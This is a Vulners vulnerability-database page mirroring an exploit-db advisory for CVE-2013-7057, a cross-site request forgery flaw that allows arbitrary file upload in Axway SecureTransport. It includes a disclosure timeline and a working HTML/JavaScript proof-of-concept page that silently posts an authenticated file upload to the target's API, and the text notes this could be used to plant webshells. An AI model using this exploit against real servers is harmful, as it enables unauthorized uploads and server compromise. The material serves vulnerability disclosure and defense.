Vulners
Lucene search
Axway Secure Transport 5.1 SP2 - Arbitary File Upload via CSRF
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | Axway Secure Transport 5.1 SP2 - Arbitary File Upload via CSRF | 28 Oct 201400:00 | – | zdt |
 | CVE-2013-7057 | 4 Nov 201415:00 | – | cve |
 | CVE-2013-7057 | 4 Nov 201415:00 | – | cvelist |
 | Axway Secure Transport 5.1 SP2 - Arbitrary File Upload (via Cross-Site Request Forgery) | 23 Oct 201400:00 | – | exploitdb |
 | EUVD-2013-6856 | 7 Oct 202500:30 | – | euvd |
 | Axway Secure Transport 5.1 SP2 - Arbitrary File Upload (via Cross-Site Request Forgery) | 23 Oct 201400:00 | – | exploitpack |
 | CVE-2013-7057 | 4 Nov 201415:55 | – | nvd |
 | Cross site request forgery (csrf) | 4 Nov 201415:55 | – | prion |
<!--
# Exploit Title: Axway Secure Transport 5.1 SP2 Arbitary File Upload via CSRF
# Exploit author: Emmanuel Law
# Public Disclosure Date : 20/10/14
# Vendor homepage: http://www.axway.com
# Affected Software version: Axway Secure Transport 5.2.1 SP2 and possibly earlier versions.
# CVE: CVE-2013-7057
Software Description:
=====================
Axway SecureTransport is a multi-protocol Managed File Transfer (MFT) gateway solution that enables organizations to secure, manage, and track the transfer of files inside and outside the enterprise firewall.
Vulnerability Description:
=====================
It is possible to conduct CSRF on a user to upload arbitary files on the Axway Secure Transport server. This is due to the lack of anti-CSRF tokens in the web API. An adversary may exploit this to upload webshells for further attacks.
Vulnerability Disclosure Timeline:
==================================
12/12/13 - Discovered vulnerability and notified Vendor
17/10/14 - Verified with Vendor that a patch has been released.
20/10/14 - Public disclosure
Steps to reproduce / PoC:
=========================
-->
<html>
<!-- CSRF PoC to upload file to sftp.example.org- -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://sftp.example.org/api/v1.0/files/", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------19278872527677784281970288330");
xhr.withCredentials = true;
var body = "-----------------------------19278872527677784281970288330\r\n" +
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"AURA_TEST.randomExtension\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"FILEDATA\r\n" +
"-----------------------------19278872527677784281970288330--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Nov 2014 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.0075